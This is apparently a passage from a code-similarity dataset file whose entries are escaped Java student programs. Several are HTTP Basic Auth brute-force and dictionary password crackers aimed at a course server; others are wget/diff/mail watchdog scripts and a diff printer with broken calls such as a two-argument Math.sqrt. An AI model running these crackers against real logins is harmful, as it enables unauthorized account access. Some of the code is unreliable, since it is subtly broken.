| \ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\ | |
| \ + 1);\n break;\n }\n if (count < 0) {\n\ | |
| \ \n if (passPtr < MAX_LENGTH - 1) {\n \ | |
| \ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\ | |
| \ } else {\n morePasswords = false;\n \ | |
| \ }\n break;\n }\n }\n \n }\ | |
| \ \n if (!auth) {\n System.out.println(\"Unable determine password\"\ | |
| );\n } else {\n time = (new Date()).getTime() - start.getTime();\n\ | |
| \ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\ | |
| \ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\ | |
| \ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\ | |
| \ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\ | |
| \ {\n String user = \"\";\n return new PasswordAuthentication(user,\ | |
| \ password);\n }\n}\n" | |
| - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public\ | |
| \ WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream\ | |
| \ newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\"\ | |
| );\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\ | |
| \ oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\ | |
| \ newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"\ | |
| mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n\ | |
| \ Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading\ | |
| \ new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\ | |
| \ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n\ | |
| \ Thread.sleep(2000);\n newin = new DataInputStream( new\ | |
| \ FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n\ | |
| \ System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n\ | |
| \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\ | |
| \n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ | |
| \ }\n\n }\n\n}" | |
| - source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\ | |
| \n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic\ | |
| \ class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract\ | |
| \ class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n \ | |
| \ outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\ | |
| \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n\ | |
| \ }\n \n protected UnaryPredicate ignore = null;\n\n \n protected\ | |
| \ Object[] file0, file1;\n\n \n public void print_script(Diff.change script)\ | |
| \ {\n Diff.change next = script;\n\n while (next != null)\n {\n\ | |
| \ Diff.change t, end;\n\n \n t = next;\n end\ | |
| \ = hunkfun(next);\n\n \n next = end;\n end = null;\n\ | |
| \ \n \n\n \n print_hunk(t);\n\n \n\ | |
| \ end = next;\n }\n outfile.flush();\n }\n\n \n\n\ | |
| \ protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n \ | |
| \ }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n \ | |
| \ protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change\ | |
| \ hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n \ | |
| \ int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\ | |
| \n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\ | |
| \n for (next = hunk; next != null; next = next.next())\n {\n \ | |
| \ l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted\ | |
| \ - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n\ | |
| \ for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if\ | |
| \ (!ignore.execute(file0[i]))\n nontrivial = true;\n for\ | |
| \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n\ | |
| \ nontrivial = true;\n }\n\n first0 = f0;\n last0\ | |
| \ = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n\ | |
| \ show_from = show_to = 0;\n\n deletes = show_from;\n inserts\ | |
| \ = show_to;\n }\n\n \n protected void print_header(String filea, String\ | |
| \ fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \ | |
| \ \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre\ | |
| \ + linbuf.toString());\n }\n\n \n\n protected void print_number_range\ | |
| \ (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\ | |
| \" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public\ | |
| \ static char change_letter(int inserts, int deletes) {\n if (inserts ==\ | |
| \ 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n\ | |
| \ else\n return 'c';\n }\n }\n\n \n public static class NormalPrint\ | |
| \ extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n\ | |
| \ }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \ | |
| \ \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n \ | |
| \ return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts,\ | |
| \ deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\ | |
| \n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n\ | |
| \ print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes\ | |
| \ != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n\ | |
| \ for (int i = first1; i <= last1; i++)\n print_1_line (\"> \"\ | |
| , file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\ | |
| \n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \ | |
| \ \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk\ | |
| \ (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\ | |
| \ print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts,\ | |
| \ deletes));\n\n \n if (inserts != 0)\n {\n boolean\ | |
| \ inserting = true;\n for (int i = first1; i <= last1; i++)\n \ | |
| \ {\n \n if (! inserting)\n outfile.println(i\ | |
| \ - first1 + first0 + \"a\");\n inserting = true;\n\n \ | |
| \ \n\n if (\".\".equals(file1[i]))\n {\n \ | |
| \ outfile.println(\"..\");\n outfile.println(\".\"\ | |
| );\n \n outfile.println(i - first1 + first0\ | |
| \ + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n \ | |
| \ }\n else\n \n print_1_line\ | |
| \ (\"\", file1[i]);\n }\n\n \n if (inserting)\n \ | |
| \ outfile.println(\".\");\n }\n }\n }\n\n \n public static\ | |
| \ class ContextPrint extends Base {\n\n protected int context = 3;\n\n public\ | |
| \ ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected\ | |
| \ void print_context_label (String cad, File inf, String label) {\n if (label\ | |
| \ != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified()\ | |
| \ > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath()\ | |
| \ + '\\t' + new Date(inf.lastModified())\n );\n else\n \n \ | |
| \ outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void\ | |
| \ print_header(String filea,String fileb) {\n print_context_label (\"***\"\ | |
| , new File(filea), filea);\n print_context_label (\"---\", new File(fileb),\ | |
| \ fileb);\n }\n\n \n private String find_function(Object[] lines, int\ | |
| \ x) {\n return null;\n }\n\n protected void print_function(Object[]\ | |
| \ file,int x) {\n String function = find_function (file0, first0);\n \ | |
| \ if (function != null) {\n outfile.print(\" \");\n outfile.print(\n\ | |
| \ (function.length() < 40) ? function : function.substring(0,40)\n \ | |
| \ );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\ | |
| \n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts ==\ | |
| \ 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context,\ | |
| \ 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0\ | |
| \ + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length\ | |
| \ - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function\ | |
| \ (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n\ | |
| \ print_number_range (',', first0, last0);\n outfile.println(\" ****\"\ | |
| );\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for\ | |
| \ (int i = first0; i <= last0; i++) {\n \n\n while (next !=\ | |
| \ null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \ | |
| \ \n\n String prefix = \" \";\n if (next != null &&\ | |
| \ next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"\ | |
| !\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\ | |
| \n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n\ | |
| \ outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change\ | |
| \ next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\ | |
| \n while (next != null && next.line1 + next.inserted <= i)\n \ | |
| \ next = next.next;\n\n \n\n String prefix = \" \";\n \ | |
| \ if (next != null && next.line1 <= i)\n \n prefix\ | |
| \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n\ | |
| \ }\n }\n }\n }\n\n \n public static class UnifiedPrint extends\ | |
| \ ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n\ | |
| \ }\n\n public void print_header(String filea,String fileb) {\n print_context_label\ | |
| \ (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new\ | |
| \ File(fileb), fileb);\n }\n\n private void print_number_range (int a, int\ | |
| \ b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n\ | |
| \ else\n super.print_number_range(',',a,b);\n }\n\n protected\ | |
| \ void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n\ | |
| \ if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0\ | |
| \ = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context,\ | |
| \ 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1\ | |
| \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"\ | |
| @@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\"\ | |
| );\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\ | |
| \n \n print_function(file0,first0);\n\n outfile.println();\n\n\ | |
| \ Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\ | |
| \n while (i <= last0 || j <= last1) {\n\n \n\n if (next ==\ | |
| \ null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\ | |
| \", file0[i++]);\n j++;\n }\n else {\n \n\n \ | |
| \ int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n\ | |
| \ print_1_line(\"\", file0[i++]);\n }\n\n \n\n \ | |
| \ k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n\ | |
| \ print_1_line(\"\", file1[j++]);\n }\n\n \n\n \ | |
| \ next = next.next;\n }\n }\n }\n }\n\n\n \n static String[]\ | |
| \ slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new\ | |
| \ FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String\ | |
| \ line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n\ | |
| \ }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return\ | |
| \ a;\n }\n\n\n public static String getDiff(String filea,String fileb,String\ | |
| \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\ | |
| \tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\ | |
| \ Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length\ | |
| \ - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n \ | |
| \ for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j))\ | |
| \ {\n case 'e': \n style = 'e'; break;\n case\ | |
| \ 'c': \n style = 'c'; break;\n case 'u':\n \ | |
| \ style = 'u'; break;\n }\n }\n }\n }\n boolean reverse\ | |
| \ = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script\ | |
| \ == null)\n msg=\"The text the has not changed.\\n\";\n else {\n \ | |
| \ Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\\ | |
| n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b);\ | |
| \ break;\n case'c':\n p = new ContextPrint(a,b); break;\n case\ | |
| \ 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p =\ | |
| \ new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n\ | |
| \ }\n\treturn msg;\n }\n}\n" | |
| sentences: | |
| - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\ | |
| \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\ | |
| \ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ | |
| .toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\ | |
| \ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\ | |
| \ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\ | |
| \ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\ | |
| \ i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n\ | |
| \ return null;\n if(indices[i] == passwordDataSet.length ){\n \ | |
| \ indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\ | |
| \n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n\ | |
| \ }\n \n public void setIndices(int size){\n this.indices = new int[size];\n\ | |
| \ for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public\ | |
| \ void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n\ | |
| \ }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n\ | |
| \ URL url = null;\n URLConnection urlConnection = null;\n String outcome\ | |
| \ = null;\n String authorization = null;\n String password = null;\n \ | |
| \ BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n\ | |
| \ BufferedReader in = null;\n String line;\n int i = 0;\n while(!\"\ | |
| HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n\ | |
| \ urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n\ | |
| \ urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty(\"\ | |
| GET\", url.getPath() + \" HTTP/1.1\");\n urlConnection.setRequestProperty(\"\ | |
| Host\", url.getHost());\n password = getNextPassword();\n if(password\ | |
| \ == null)\n return null;\n System.out.print(password);\n authorization\ | |
| \ = user + \":\" + password;\n\n\n urlConnection.setRequestProperty(\"Authorization\"\ | |
| , \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\ | |
| \ \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\ | |
| \n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n \ | |
| \ System.out.print(\"\\b \\b\");\n else\n System.out.print(\"\\\ | |
| b\\b\\b.\");\n\n }\n return password;\n }\n \n public int getAttempts(){\n\ | |
| \ return this.attempts;\n }\n public static void main (String[] args) {\n\ | |
| \ if(args.length != 2){\n System.out.println(\"usage: java attacks.BruteForce\ | |
| \ <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\ | |
| );\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\ | |
| \ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\ | |
| \ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\ | |
| \ String password = bruteForce1.crackPassword(args[1]);\n if(password\ | |
| \ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \ | |
| \ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \ | |
| \ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\ | |
| \ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\ | |
| \ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\ | |
| \ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\ | |
| \ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\ | |
| \ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\ | |
| \ }\n }\n}" | |
| - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\ | |
| {\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1\ | |
| \ = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n \ | |
| \ {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\ | |
| \ http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException\ | |
| \ e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new\ | |
| \ Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n" | |
| - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ | |
| import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ | |
| import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ | |
| \ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ | |
| \ }\n\n public static void main(String[] args)\n {\n Dictionary\ | |
| \ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\ | |
| \ System.out.println(dictionary.printUsage());\n }\n \ | |
| \ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\ | |
| \ dictionary.setWordFile(args[2]);\n\n if (args.length >\ | |
| \ 3)\n {\n dictionary.setFileName(args[3]);\n \ | |
| \ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ | |
| \ System.exit(1);\n }\n }\n\n public void process()\n\ | |
| \ {\n attempts = 0;\n String password = \"\";\n \n \ | |
| \ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ | |
| \ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ | |
| \ \n input = new BufferedReader(file);\n \n \ | |
| \ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ | |
| File not found: \" + getWordFile());\n System.exit(2);\n }\n\ | |
| \n try\n {\n while ((password = input.readLine()) !=\ | |
| \ null)\n {\n try\n {\n \ | |
| \ \n attempts++;\n BasicAuthHttpRequest\ | |
| \ req =\n new BasicAuthHttpRequest(\n \ | |
| \ getURL(),\n getUserName(),\n \ | |
| \ password);\n setPassword(password);\n \ | |
| \ setEnd(new Timestamp(System.currentTimeMillis()));\n \ | |
| \ setContent(req.getContent().toString());\n\n \ | |
| \ \n if (getFileName() != null\n &&\ | |
| \ getFileName().length() > 0)\n {\n \ | |
| \ createReport();\n }\n return;\n \ | |
| \ }\n catch (MalformedURLException e)\n \ | |
| \ {\n e.printStackTrace();\n return;\n\ | |
| \ }\n catch (IOException e)\n {\n\ | |
| \n }\n }\n }\n catch (IOException x)\n\ | |
| \ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ | |
| \ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ | |
| \ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\ | |
| \ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\ | |
| \ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\ | |
| n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ | |
| \ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ | |
| \ string)\n {\n wordFile = string;\n }\n\n}\n" | |
| - source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\ | |
| \nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\ | |
| \ char [] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n \ | |
| \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ | |
| \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ | |
| \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ | |
| \ 'v',\n 'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\ | |
| \ {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+\"\ | |
| \"+alphabet[j]+\"\"+alphabet[k];\n String userPassword = \":\"+pwd;\n RealThread\ | |
| \ myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n\ | |
| \ th.start();\n try\n {\n \n \n th.sleep(100);\n }\n \ | |
| \ catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\ | |
| \ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\ | |
| \ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\ | |
| \ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\ | |
| http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\ | |
| \ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\ | |
| \ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n\ | |
| \ String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\ | |
| \n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"\ | |
| Authorization\", \" \" + encoding);\n System.out.println(\"Reponse = \"+uc.getResponseCode()+\"\ | |
| for pwd = \"+userPassword);\n this.responseCode = uc.getResponseCode();\n \n\ | |
| \ if(uc.getResponseCode()==200)\n {\n System.out.println(\" ======= Password\ | |
| \ Found : \"+userPassword+\" ========================================= \");\n\ | |
| \ System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println(\"\ | |
| Could not execute Thread \"+num+\" \");\n }\n }\n\n}\n" | |
| sentences: | |
| - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\ | |
| \ PasswordCracker {\n \n \n private static final char car= 'a';\n \ | |
| \ \n private static final char END = 'z' + 1;\n \n \n public static\ | |
| \ final int BRUTEFORCE = 0;\n public static final int DICTIONARY = 1;\n \ | |
| \ \n \n String urlName = null;\n \n String user = null;\n \n\ | |
| \ String filename = null;\n \n int method;\n \n \n int attempt_counter;\n\ | |
| \ \n \n public static void main(String[] args) {\n \n PasswordCracker\ | |
| \ cracker = null;\n \n if ((args.length == 3) && (args[2].equalsIgnoreCase(\"\ | |
| BRUTEFORCE\"))) {\n \n cracker = new PasswordCracker(args[0],\ | |
| \ args[1], PasswordCracker.BRUTEFORCE, null);\n }\n else if ((args.length\ | |
| \ == 4) && (args[2].equalsIgnoreCase(\"DICTIONARY\"))) {\n \n \ | |
| \ cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY,\ | |
| \ args[3]);\n }\n else {\n System.out.println(\"Syntax:\ | |
| \ java PasswordCracker <username> <url> BRUTEFORCE \");\n System.out.println(\"\ | |
| \ java PasswordCracker <username> <url> DICTIONARY <sourcefile> \");\n\ | |
| \ System.exit(1);\n }\n \n cracker.run();\n \ | |
| \ }\n \n \n public PasswordCracker(String user, String url, int method,\ | |
| \ String file) {\n \n this.user = user;\n this.urlName\ | |
| \ = url;\n this.filename = file;\n \n this.method = method;\n\ | |
| \ }\n \n \n public boolean run() {\n \n String password;\n\ | |
| \ s = 0;\n end = 0;\n \n try {\n attempt_counter\ | |
| \ = 0;\n URL target = new URL(urlName);\n \n \ | |
| \ switch (this.method) {\n \n case BRUTEFORCE:\n\ | |
| \ \n s = System.currentTimeMillis();\n \ | |
| \ \n \n for (char i =\ | |
| \ 0; i < END; i++) {\n for (char j = 0; j < END; j++) {\n\ | |
| \ for (char k = 0; k < END; k++) {\n \ | |
| \ \n password = String.valueOf(i)\ | |
| \ + String.valueOf(j) + String.valueOf(k);\n if\ | |
| \ (performConnection(target, user, password)) {\n \ | |
| \ \n end = System.currentTimeMillis();\n\ | |
| \ \n System.out.println(\"\ | |
| URL: \\t\\t\" + target +\n \"\\nUser: \\t\\\ | |
| t\"+ user + \"\\nPassword: \\t\" + password);\n\n \ | |
| \ System.out.println(\"Attempts: \\t\" + attempt_counter\n \ | |
| \ + \"\\nTotal time: \\t\" + ((end - a) / 1000.0f) + \"\ | |
| \ seconds\");\n return true;\n \ | |
| \ }\n }\n \ | |
| \ }\n }\n \n \n \ | |
| \ for (char i = 0; i < END; i++) {\n for\ | |
| \ (char j = 0; j < END; j++) {\n for (char k = 0; k\ | |
| \ < END; k++) {\n \n \ | |
| \ password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);\n\ | |
| \ if (isValidPassword(target, password)) {\n \ | |
| \ \n end =\ | |
| \ System.currentTimeMillis();\n \n \ | |
| \ System.out.println(\"Attempts: \\t\" + attempt_counter\n\ | |
| \ + \"\\nTotal time: \\t\" + ((end - d) / 1000.0f)\ | |
| \ + \" seconds\");\n return true;\n \ | |
| \ }\n }\n \ | |
| \ }\n }\n break;\n \ | |
| \ \n case DICTIONARY:\n try {\n \ | |
| \ BufferedReader buf = new BufferedReader(new FileReader(filename));\n\ | |
| \ \n s = System.currentTimeMillis();\n\ | |
| \ \n {\n \ | |
| \ password = buf.readLine();\n \n \ | |
| \ \n \n if\ | |
| \ (password.length() == 3) {\n if (performConnection(target,\ | |
| \ user, password)) {\n \n \ | |
| \ end = System.currentTimeMillis();\n \ | |
| \ \n System.out.println(\"URL:\ | |
| \ \\t\\t\" + target +\n \"\\nUser: \\t\\t\"\ | |
| + user + \"\\nPassword: \\t\" + password);\n \ | |
| \ \n System.out.println(\"Attempts: \\t\"\ | |
| \ + attempt_counter\n + \"\\nTotal time: \\\ | |
| t\" + ((end - d) / 1000.0f) + \" seconds\");\n \ | |
| \ return true;\n }\n \ | |
| \ }\n }\n while (password !=\ | |
| \ null);\n }\n catch (FileNotFoundException\ | |
| \ e) {\n System.out.println(\"File \\\"\" + filename +\ | |
| \ \"\\\" not found\");\n }\n catch (IOException\ | |
| \ ioe) {\n System.out.println(\"IO Error \" + ioe);\n \ | |
| \ }\n break;\n \n \ | |
| \ default:\n return false;\n }\n \ | |
| \ }\n catch (Exception e) {\n System.out.println(\"ERROR:\ | |
| \ \" + e.getMessage());\n }\n \n end = System.currentTimeMillis();\n\ | |
| \ System.out.println(\"Attempts: \\t\" + attempt_counter +\n \"\\\ | |
| nTotal time: \\t\" + ((end - d) / 1000.0f) + \" seconds\");\n \n \ | |
| \ return true;\n }\n \n \n private boolean isValidPassword(URL target,\ | |
| \ String password) throws Exception {\n \n char letter[] = new char[3];\n\ | |
| \ String generated = null;\n \n letter[0] = password.charAt(0);\n\ | |
| \ for (int i = 0; i < 2; i++) {\n \n letter[1] =\ | |
| \ password.charAt(1);\n for (int j = 0; j < 2; j++) {\n \ | |
| \ \n letter[2] = password.charAt(2);\n for (int\ | |
| \ k = 0; k < 2; k++) {\n \n generated =\ | |
| \ String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);\n\ | |
| \ \n if ((Character.isUpperCase(letter[0])\ | |
| \ == true) ||\n (Character.isUpperCase(letter[1]) == true)\ | |
| \ ||\n (Character.isUpperCase(letter[2]) == true)) {\n\ | |
| \ \n if (performConnection(target,\ | |
| \ user, generated) == true) {\n \n \ | |
| \ System.out.println(\"URL: \\t\\t\" + target + \"\\nUser: \\t\\t\"\ | |
| + user +\n \"\\nPassword: \\t\" + generated);\n \ | |
| \ return true;\n }\n \ | |
| \ }\n letter[2] = Character.toUpperCase(letter[2]);\n\ | |
| \ }\n letter[1] = Character.toUpperCase(letter[1]);\n\ | |
| \ }\n letter[0] = Character.toUpperCase(letter[0]);\n \ | |
| \ }\n return false;\n }\n \n \n private boolean performConnection(URL\ | |
| \ target, String username, String password) throws Exception {\n HttpURLConnection\ | |
| \ connection = null;\n \n try {\n attempt_counter++;\n\ | |
| \ connection = (HttpURLConnection) target.openConnection();\n \ | |
| \ connection.setRequestProperty(\"Authorization\", \" \" + Base64.encode(username\ | |
| \ + \":\" + password));\n \n switch (connection.getResponseCode()\ | |
| \ / 100) {\n case 2:\n System.out.println(\"\ | |
| Connected successfully\");\n return true;\n \ | |
| \ default:\n return false;\n }\n }\n \ | |
| \ catch (Exception e) {\n throw new Exception(\"Failed connect\ | |
| \ \" + target);\n }\n }\n}\n" | |
| - "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\ | |
| \ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\ | |
